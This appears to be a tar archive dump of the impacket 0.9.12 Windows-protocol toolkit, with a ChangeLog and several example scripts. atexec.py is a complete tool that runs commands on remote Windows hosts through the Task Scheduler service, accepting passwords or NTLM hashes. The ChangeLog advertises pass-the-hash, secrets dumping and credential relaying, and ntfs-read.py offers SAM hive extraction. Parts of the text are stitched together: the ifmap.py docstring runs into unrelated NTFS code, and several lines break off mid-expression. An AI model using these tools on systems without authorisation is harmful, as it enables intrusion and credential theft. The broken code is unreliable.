impacket-0.9.12/ 0000700 0000765 0000024 00000000000 12361771623 013452 5 ustar beto staff 0000000 0000000 impacket-0.9.12/ChangeLog 0000600 0000765 0000024 00000015206 12361767063 015235 0 ustar beto staff 0000000 0000000 Complete list of changes can be found at: http://code.google.com/p/impacket/source/list July 2014: 0.9.12: 1) The following protocols were added based on its standard definition: * [MS-DCOM] - Distributed Component Object module Protocol (dcom.py) * [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py) * [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py) 2) New examples: a. wmiquery.py: executes WMI queries and get WMI object's descriptions. b. wmiexec.py: agent-less, semi-interactive shell using WMI. c. smbserver.py: quick an easy way to share files using the SMB protocol. February 2014: 0.9.11: 1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available): a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) b. Support for RPC_C_AUTHN_NETLOGON (experimental) c. The following interface were developed based on its standard definition: * [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) * [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) * [MS-NRPC] - Netlogon Remote Protocol (nrpc.py) * [MS-RRP] - Windows Remote Registry Protocol (rrp.py) * [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py) * [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py) * [MS-SRVS] - Server Service Remote Protocol (srvs.py) * [MS-WKST] - Workstation Service Remote Protocol (wkst.py) * [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py) * [MS-DTYP] - Windows Data Types (dtypes.py) Most of the DCE Calls have helper functions for easier use. Test cases added for all calls (check the test cases directory) 2) ESE parser (Extensive Storage Engine) (ese.py) 3) Windows Registry parser (winregistry.py) 4) TDS protocol now supports SSL, can be used from mssqlclient 5) Support for EAPOL, EAP and WPS decoders 6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi 7) New examples: a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) c. ntfs-read.py: mini shell for browsing an NTFS volume d. registry-read.py: Windows offline registry reader e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) March 2013: 0.9.10: 1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending. 2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent. It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available methods across all the protocols. 3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers. 4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. 5) DCERPC Endpoints' new calls: a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects. 6) New examples: a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives you an SQL prompt for your pleasure. b. mssqlinstance.py: Lists the MS SQL instances running on a target machine. c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to develop new functionality to interact against a target interface. d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the technique described at http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access. It also supports instantiating a local smbserver to receive the output of the commandos executed for those situations where no share is available on the other end. e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly. And finally tons of fixes :). July 2012: 0.9.9: 1) Added 802.11 packets encoding/decoding 2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class. 3) SMB/DCERPC: a. GSS-API/SPNEGO Support. b. SPN support in auth blob. c. NTLM2 and NTLMv2 support. d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name. e. Pass the hash supported for SMB/DCE-RPC. f. IPv6 support for SMB/NMB/DCERPC. g. DOMAIN support for authentication. h. SMB signing support when server enforces it. i. DCERPC signing/sealing for all NTLM flavours. j. DCERPC transport now accepts an already established SMB connection. k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by forwarding named pipes requests). l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's not functional. 4) DCERPC Endpoints' new calls: a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(), NetprNameCanonicalize(). b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(), StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW(). c. WKSSVC: NetrWkstaTransportEnum(). d. SAMR: OpenAlias(), GetMembersInAlias(). e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose(). 5) New examples: a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is listed and/or listening. b. lookupsid.py: DCE/RPC lookup sid brute forcer example. c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call. d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented. f. smbrelayx: Passes credentials to a third party server when doing MiTM. g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but not enforced. Tested under Windows, Linux and MacOS clients. h. smbclient.py: now supports history, new commands also added. i. psexec.py: Execute remote commands on Windows machines impacket-0.9.12/examples/ 0000700 0000765 0000024 00000000000 12361771623 015270 5 ustar beto staff 0000000 0000000 impacket-0.9.12/examples/atexec.py 0000600 0000765 0000024 00000014610 12361767070 017120 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2012 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: atexec.py 876 2013-10-29 16:04:19Z bethus@gmail.com $ # # ATSVC example for some functions implemented, creates, enums, runs, delete jobs # This example executes a command on the target machine through the Task Scheduler # service. Returns the output of such command # # Author: # Alberto Solino (bethus@gmail.com) # # Reference for: # DCE/RPC for ATSVC import socket import string import sys import types import argparse import time import random from impacket import uuid, ntlm, version from impacket.dcerpc import transport, ndrutils, atsvc from struct import unpack class ATSVC_EXEC: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\atsvc]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\atsvc]', 445), } def __init__(self, username = '', password = '', domain = '', hashes = None, command = None): self.__username = username self.__password = password self.__protocols = ATSVC_EXEC.KNOWN_PROTOCOLS.keys() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__command = command if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def play(self, addr): # Try all requested protocols until one works. entries = [] for protocol in self.__protocols: protodef = ATSVC_EXEC.KNOWN_PROTOCOLS[protocol] port = protodef[1] print "Trying protocol %s..." % protocol stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.doStuff(rpctransport) except Exception, e: print 'Protocol failed: %s' % e else: # Got a response. No need for further iterations. break def doStuff(self, rpctransport): def output_callback(data): print data dce = rpctransport.get_dce_rpc() dce.set_credentials(*rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_max_fragment_size(16) dce.bind(atsvc.MSRPC_UUID_ATSVC) at = atsvc.DCERPCAtSvc(dce) tmpFileName = ''.join([random.choice(string.letters) for i in range(8)]) + '.tmp' # Check [MS-TSCH] Section 2.3.4 atInfo = atsvc.AT_INFO() atInfo['JobTime'] = 0 atInfo['DaysOfMonth'] = 0 atInfo['DaysOfWeek'] = 0 atInfo['Flags'] = 0 atInfo['Command'] = ndrutils.NDRUniqueStringW() atInfo['Command']['Data'] = ('%%COMSPEC%% /C %s > %%SYSTEMROOT%%\\Temp\\%s\x00' % (self.__command, tmpFileName)).encode('utf-16le') resp = at.NetrJobAdd(('\\\\%s'% rpctransport.get_dip()),atInfo) jobId = resp['JobID'] #resp = at.NetrJobEnum(rpctransport.get_dip()) # Switching context to TSS dce2 = dce.alter_ctx(atsvc.MSRPC_UUID_TSS) # Now atsvc should use that new context at = atsvc.DCERPCAtSvc(dce2) # Leaving this code to show how to enumerate jobs #path = '\\' #resp = at.SchRpcEnumTasks(path) #if resp['Count'] == 1: # print resp['TaskName']['Data'] # if resp['ErrorCode'] == atsvc.S_FALSE: # i = 1 # done = False # while done is not True: # # More items # try: # resp = at.SchRpcEnumTasks(path,startIndex=i) # except: # break # if resp['Count'] == 1: # print resp['TaskName']['Data'] # i += 1 # elif resp['ErrorCode'] != atsvc.S_FALSE: # done = True resp = at.SchRpcRun('\\At%d' % jobId) # On the first run, it takes a while the remote target to start executing the job # so I'm setting this sleep.. I don't like sleeps.. but this is just an example # Best way would be to check the task status before attempting to read the file time.sleep(3) # Switching back to the old ctx_id at = atsvc.DCERPCAtSvc(dce) resp = at.NetrJobDel('\\\\%s'% rpctransport.get_dip(), jobId, jobId) smbConnection = rpctransport.get_smb_connection() while True: try: smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) break except Exception, e: if str(e).find('SHARING') > 0: time.sleep(3) else: raise smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect() # Process command-line arguments. if __name__ == '__main__': print version.BANNER print "WARNING: This will work ONLY on Windows >= Vista" parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') parser.add_argument('command', action='store', nargs='*', default = ' ', help='command to execute at the target ') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") atsvc_exec = ATSVC_EXEC(username, password, domain, options.hashes, ' '.join(options.command)) atsvc_exec.play(address) impacket-0.9.12/examples/esentutl.py 0000700 0000765 0000024 00000005676 12361767070 017527 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2013 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: esentutl.py 1225 2014-05-23 18:51:05Z bethus@gmail.com $ # # Description: # ESE utility. Allows dumping catalog, pages and tables. # # Author: # Alberto Solino # # # Reference for: # Extensive Storage Engine (ese) # import sys import logging import argparse from impacket import version, ese from impacket.ese import ESENT_DB def dumpPage(ese, pageNum): data = ese.getPage(pageNum) data.dump() def exportTable(ese, tableName): cursor = ese.openTable(tableName) if cursor is None: logging.error('Can"t get a cursor for table: %s' % tableName) return i = 1 print "Table: %s" % tableName while True: try: record = ese.getNextRow(cursor) except: logging.error('Error while calling getNextRow(), trying the next one') continue if record is None: break print "*** %d" % i for j in record.keys(): if record[j] is not None: print "%-30s: %r" % (j, record[j]) i += 1 def main(): print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('databaseFile', action='store', help='ESE to open') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-page', action='store', help='page to open') subparsers = parser.add_subparsers(help='actions', dest='action') # dump page dump_parser = subparsers.add_parser('dump', help='dumps an specific page') dump_parser.add_argument('-page', action='store', required=True, help='page to dump') # info page info_parser = subparsers.add_parser('info', help='dumps the catalog info for the DB') # export page export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') export_parser.add_argument('-table', action='store', required=True, help='table to dump') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) ese = ESENT_DB(options.databaseFile) try: if options.action.upper() == 'INFO': ese.printCatalog() elif options.action.upper() == 'DUMP': dumpPage(ese, int(options.page)) elif options.action.upper() == 'EXPORT': exportTable(ese, options.table) else: logging.error('Unknown action %s ' % options.action) raise except Exception, e: #import traceback #print traceback.print_exc() print e ese.close() if __name__ == '__main__': main() sys.exit(1) impacket-0.9.12/examples/ifmap.py 0000600 0000765 0000024 00000032467 12361767070 016755 0 ustar beto staff 0000000 0000000 #!/usr/bin/python """ifmap - scan for listening DCERPC interfaces Usage: ifmap.py hostname port First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is listed and/or listening. This will generate a burst of TCP connections to the given host:port! Example: $ ./ifmap.py 10.0.0.30 135 ('00000136-0000-0000-C000-000000000046', '0.0'): listed, listening ('000001A0-0000-0000-C000-000000000046', '0.0'): listed, listening ('0B0A6584-9E0F-11CF-A3CF-00805F68CB1B', '1.0'): other version listed, listening ('0B0A6584-9E0F-11CF-A3CF-00805F68CB1B', '1.1'): listed, listening ('1D55B526-C137-46C5-AB79-638F2A68E869', '1.0'): listed, listening ('412F241E-C12A-11CE-ABFF-0020AF6E7A17', '0.0'): other version listed, listening ('412F241E-C12A-11CE-ABFF-0020AF6E7A17', '0.2'): listed, listening ('4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57', '0.0'): listed, listening ('99FCFEC4-5260-101B-BBCB-00AA0021347A', '0.0'): listed, listening ('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0'): not listed, listening ('B9E79E60-3D52-11CE-AAA1-00006901293F', '0.0'): other version listed, listening ('B9E79E60-3D52-11CE-AAA1-00006901293F', '0.2'): listed, listening ('C6F3EE72-CE7E-11D1-B71E-00C04FC3111A', '1.0'): listed, listening ('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'): listed, listening ('E60C73E6-88F9-11CF-9AF1-0020AF6E72F4', '2.0'): listed, listening Usually, only AFA8BD80-...-89, the MGMT interface, is not listed but always listening on any port. This is imposed by the DCERPC spec. Author: Catalin Patulea= dr['StartVCN']) and (vcn <= dr['LastVCN']): vcnsToRead = dr['LastVCN'] - vcn + 1 # Are we requesting to read more data outside this DataRun? if numOfClusters > vcnsToRead: # Yes clustersToRead = vcnsToRead else: clustersToRead = numOfClusters tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN'])) if tmpBuf is not None: buf = buf + tmpBuf clustersLeft -= clustersToRead vcn += clustersToRead else: break if clustersLeft == 0: break return buf def read(self,offset,length): logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) buf = '' curLength = length self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster'] # Given the offset, let's calculate what VCN should be the first one to read vcnToStart = offset / self.ClusterSize vcnOffset = self.ClusterSize - (offset % self.ClusterSize) # Do we have to read partial VCNs? if (offset % self.ClusterSize): # Read the whole VCN bufTemp = self.readVCN(vcnToStart, 1) if bufTemp is '': # Something went wrong return None buf = bufTemp[offset % self.ClusterSize:] curLength -= len(buf) vcnToStart += 1 # Finished? if curLength <= 0: return buf[:length] # First partial cluster read.. now let's keep reading full clusters # Data left to be read is bigger than a Cluster? if (curLength / self.ClusterSize): # Yep.. so let's read full clusters bufTemp = self.readVCN(vcnToStart, curLength / self.ClusterSize) if bufTemp is '': # Something went wrong return None if len(bufTemp) > curLength: # Too much data read, taking something off buf = buf + bufTemp[:curLength] else: buf = buf + bufTemp vcnToStart += curLength / self.ClusterSize curLength -= len(bufTemp) # Is there anything else left to be read in the last cluster? if curLength > 0: bufTemp = self.readVCN(vcnToStart, 1) buf = buf + bufTemp[:curLength] if buf == '': return None else: return buf class AttributeStandardInfo(): def __init__(self, attribute): logging.debug("Inside AttributeStandardInfo") self.Attribute = attribute self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue) def getFileAttributes(self): return self.StandardInfo['FileAttributes'] def getFileTime(self): if self.StandardInfo['LastDataChangeTime'] > 0: return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime'])) else: return 0 def dump(self): return self.StandardInfo.dump() class AttributeFileName(): def __init__(self, attribute): logging.debug("Inside AttributeFileName") self.Attribute = attribute self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue) def getFileNameType(self): return self.FileNameRecord['FileNameType'] def getFileAttributes(self): return self.FileNameRecord['FileAttributes'] def getFileName(self): return self.FileNameRecord['FileName'].decode('utf-16le') def getFileSize(self): return self.FileNameRecord['DataSize'] def getFlags(self): return self.FileNameRecord['FileAttributes'] def dump(self): return self.FileNameRecord.dump() class AttributeIndexAllocation(): def __init__(self, attribute): logging.debug("Inside AttributeIndexAllocation") self.Attribute = attribute def dump(self): print self.Attribute.dump() for i in self.Attribute.DataRuns: print i.dump() def read(self, offset, length): return self.Attribute.read(offset, length) class AttributeIndexRoot(): def __init__(self, attribute): logging.debug("Inside AttributeIndexRoot") self.Attribute = attribute self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue) self.IndexEntries = [] self.parseIndexEntries() def parseIndexEntries(self): data = self.Attribute.AttrValue[len(self.IndexRootRecord):] while True: ie = IndexEntry(data) self.IndexEntries.append(ie) if ie.isLastNode(): break data = data[ie.getSize():] def dump(self): self.IndexRootRecord.dump() for i in self.IndexEntries: i.dump() def getType(self): return self.IndexRootRecord['Type'] class IndexEntry(): def __init__(self, entry): self.entry = NTFS_INDEX_ENTRY(entry) def isSubNode(self): return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE def isLastNode(self): return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END def getVCN(self): return struct.unpack('0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: #inode = INODE(self.NTFSVolume) #inode.FileAttributes = fn['FileAttributes'] #inode.FileSize = fn['DataSize'] #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime'])) #inode.INodeNumber = entry.getINodeNumber() #inode.FileName = fn['FileName'].decode('utf-16le') #inode.displayName() files.append(fn) # if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16: # inode2 = self.NTFSVolume.getINode(entry.getINodeNumber()) # inode2.walk() return files def walk(self): logging.debug("Inside Walk... ") files = [] if self.Attributes.has_key(INDEX_ROOT): ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME: for ie in ir.IndexEntries: if ie.isSubNode(): files += self.walkSubNodes(ie.getVCN()) return files else: return None def findFirstSubNode(self, vcn, toSearch): def getFileName(entry): if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: return string.upper(fn['FileName'].decode('utf-16le')) return None entries = self.parseIndexBlocks(vcn) for ie in entries: name = getFileName(ie) if name is not None: if name == toSearch: # Found! return ie if toSearch < name: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res else: # Bye bye.. not found return None else: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res def findFirst(self, fileName): # Searches for a file and returns an Index Entry. None if not found def getFileName(entry): if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: return string.upper(fn['FileName'].decode('utf-16le')) return None toSearch = unicode(string.upper(fileName)) if self.Attributes.has_key(INDEX_ROOT): ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME or 1==1: for ie in ir.IndexEntries: name = getFileName(ie) if name is not None: if name == toSearch: # Found! return ie if toSearch < name: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res else: # Bye bye.. not found return None else: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res def getStream(self, name): return self.searchAttribute( DATA, name, findNext = False) class NTFS: def __init__(self, volumeName): self.__volumeName = volumeName self.__bootSector = None self.__MFTStart = None self.volumeFD = None self.BPB = None self.ExtendedBPB = None self.RecordSize = None self.IndexBlockSize = None self.SectorSize = None self.MFTINode = None self.mountVolume() def mountVolume(self): logging.debug("Mounting volume...") self.volumeFD = open(self.__volumeName,"rb") self.readBootSector() self.MFTINode = self.getINode(FILE_MFT) # Check whether MFT is fragmented attr = self.MFTINode.searchAttribute(DATA, None) if attr is None: # It's not del self.MFTINode self.MFTInode = None def readBootSector(self): logging.debug("Reading Boot Sector for %s" % self.__volumeName) self.volumeFD.seek(0,0) data = self.volumeFD.read(512) while len(data) < 512: data += self.volumeFD.read(512) self.__bootSector = NTFS_BOOT_SECTOR(data) self.BPB = NTFS_BPB(self.__bootSector['BPB']) self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB']) self.SectorSize = self.BPB['BytesPerSector'] self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber'] if self.ExtendedBPB['ClusterPerFileRecord'] > 0: self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord'] else: self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord']) if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0: self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer'] else: self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer']) logging.debug("MFT should start at position %d" % self.__MFTStart) def getINode(self, iNodeNum): logging.debug("Trying to fetch inode %d" % iNodeNum) newINode = INODE(self) recordLen = self.RecordSize # Let's calculate where in disk this iNode should be if self.MFTINode and iNodeNum > FIXED_MFTS: # Fragmented $MFT attr = self.MFTINode.searchAttribute(DATA,None) record = attr.read(iNodeNum*self.RecordSize, self.RecordSize) else: diskPosition = self.__MFTStart + iNodeNum * self.RecordSize self.volumeFD.seek(diskPosition,0) record = self.volumeFD.read(recordLen) while len(record) < recordLen: record += self.volumeFD.read(recordLen-len(record)) mftRecord = NTFS_MFT_RECORD(record) record = newINode.PerformFixUp(mftRecord, record, self.RecordSize/self.SectorSize) newINode.INodeNumber = iNodeNum newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:] newINode.parseAttributes() return newINode class MiniShell(cmd.Cmd): def __init__(self, volume): cmd.Cmd.__init__(self) self.volumePath = volume self.volume = NTFS(volume) self.rootINode = self.volume.getINode(5) self.prompt = '\\>' self.intro = 'Type help for list of commands' self.currentINode = self.rootINode self.completion = [] self.pwd = '\\' self.do_ls('',False) def emptyline(self): pass def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception, e: print "ERROR: %s" % e return retVal def do_exit(self,line): return True def do_shell(self, line): output = os.popen(line).read() print output self.last_output = output def do_help(self,line): print """ cd {path} - changes the current directory to {path} pwd - shows current remote directory ls - lists all the files in the current directory lcd - change local directory get {filename} - downloads the filename from the current path cat {filename} - prints the contents of filename hexdump {filename} - hexdumps the contents of filename exit - terminates the server process (and this session) """ def do_lcd(self,line): if line == '': print os.getcwd() else: os.chdir(line) print os.getcwd() def do_cd(self, line): p = string.replace(line,'/','\\') oldpwd = self.pwd newPath = ntpath.normpath(ntpath.join(self.pwd,p)) if newPath == self.pwd: # Nothing changed return common = ntpath.commonprefix([newPath,oldpwd]) if common == oldpwd: res = self.findPathName(ntpath.normpath(p)) else: res = self.findPathName(newPath) if res is None: print "Directory not found" self.pwd = oldpwd return if res.isDirectory() == 0: print "Not a directory!" self.pwd = oldpwd return else: self.currentINode = res self.do_ls('', False) self.pwd = ntpath.join(self.pwd,p) self.pwd = ntpath.normpath(self.pwd) self.prompt = self.pwd + '>' def findPathName(self, pathName): if pathName == '\\': return self.rootINode tmpINode = self.currentINode parts = pathName.split('\\') for part in parts: if part == '': tmpINode = self.rootINode else: res = tmpINode.findFirst(part) if res is None: return res else: tmpINode = self.volume.getINode(res.getINodeNumber()) return tmpINode def do_pwd(self,line): print self.pwd def do_ls(self, line, display = True): entries = self.currentINode.walk() self.completion = [] for entry in entries: inode = INODE(self.volume) inode.FileAttributes = entry['FileAttributes'] inode.FileSize = entry['DataSize'] inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime'])) inode.FileName = entry['FileName'].decode('utf-16le') if display is True: inode.displayName() self.completion.append((inode.FileName,inode.isDirectory())) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def complete_cat(self,text,line,begidx,endidx): return self.complete_get(text, line, begidx, endidx) def complete_hexdump(self,text,line,begidx,endidx): return self.complete_get(text, line, begidx, endidx) def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories items = [] if include == 1: mask = 0 else: mask = FILE_ATTR_I30_INDEX_PRESENT for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_hexdump(self,line): return self.do_cat(line,command = hexdump) def do_cat(self, line, command = sys.stdout.write): pathName = string.replace(line,'/','\\') pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) res = self.findPathName(pathName) if res is None: print "Not found!" return if res.isDirectory() > 0: print "It's a directory!" return if res.isCompressed() or res.isEncrypted() or res.isSparse(): logging.error('Cannot handle compressed/encrypted/sparse files! :(') return stream = res.getStream(None) chunks = 4096*10 written = 0 for i in range(stream.getDataSize()/chunks): buf = stream.read(i*chunks, chunks) written += len(buf) command(buf) if stream.getDataSize() % chunks: buf = stream.read(written, stream.getDataSize() % chunks) command(buf) print "%d bytes read" % stream.getDataSize() def do_get(self, line): pathName = string.replace(line,'/','\\') pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) fh = open(ntpath.basename(pathName),"wb") self.do_cat(line, command = fh.write) fh.close() def main(): print version.BANNER logging.getLogger().setLevel(logging.WARNING) parser = argparse.ArgumentParser() parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)') parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \windows\system32\config\sam)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() shell = MiniShell(options.volume) if options.extract is not None: shell.onecmd("get %s"% options.extract) else: shell.cmdloop() if __name__ == '__main__': main() sys.exit(1) impacket-0.9.12/examples/opdump.py 0000600 0000765 0000024 00000003513 12361767070 017153 0 ustar beto staff 0000000 0000000 #!/usr/bin/python """opdump - scan for operations on a given DCERPC interface Usage: opdump.py hostname port interface version This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call. This will generate a burst of TCP connections to the given host:port! Example: $ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0 op 0 (0x00): rpc_x_bad_stub_data op 1 (0x01): rpc_x_bad_stub_data op 2 (0x02): rpc_x_bad_stub_data op 3 (0x03): success op 4 (0x04): rpc_x_bad_stub_data ops 5-255: nca_s_op_rng_error rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an operation at that number. Author: Catalin Patulea""" import sys from impacket import uuid from impacket.dcerpc import transport, dcerpc def main(args): if len(args) != 4: print "usage: opdump.py hostname port interface version" return 1 host, port, interface, version = args[0], int(args[1]), args[2], args[3] stringbinding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(stringbinding) trans.set_dport(port) results = [] for i in range(256): dce = trans.get_dce_rpc() dce.connect() iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) dce.call(i, "") try: resp = dce.recv() except dcerpc.Exception, e: result = str(e) else: result = "success" dce.disconnect() results.append(result) # trim duplicate suffixes from the back suffix = results[-1] while results and results[-1] == suffix: results.pop() for i, result in enumerate(results): print "op %d (0x%02x): %s" % (i, i, result) print "ops %d-%d: %s" % (len(results), 255, suffix) if __name__ == "__main__": sys.exit(main(sys.argv[1:])) impacket-0.9.12/examples/os_ident.py 0000600 0000765 0000024 00000224541 12361767070 017461 0 ustar beto staff 0000000 0000000 #-- # $Id$ # # Copyright (c) 2001-2003 CORE Security Technologies, CORE SDI Inc. # All rights reserved. # # This computer software is owned by Core SDI Inc. and is # protected by U.S. copyright laws and other laws and by international # treaties. This computer software is furnished by CORE SDI Inc. # pursuant to a written license agreement and may be used, copied, # transmitted, and stored only in accordance with the terms of such # license and with the inclusion of the above copyright notice. This # computer software or any other copies thereof may not be provided or # otherwise made available to any other person. # #` # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE # #-- from impacket.ImpactPacket import * from impacket.ImpactDecoder import * g_nmap1_signature_filename="nmap-os-fingerprints" 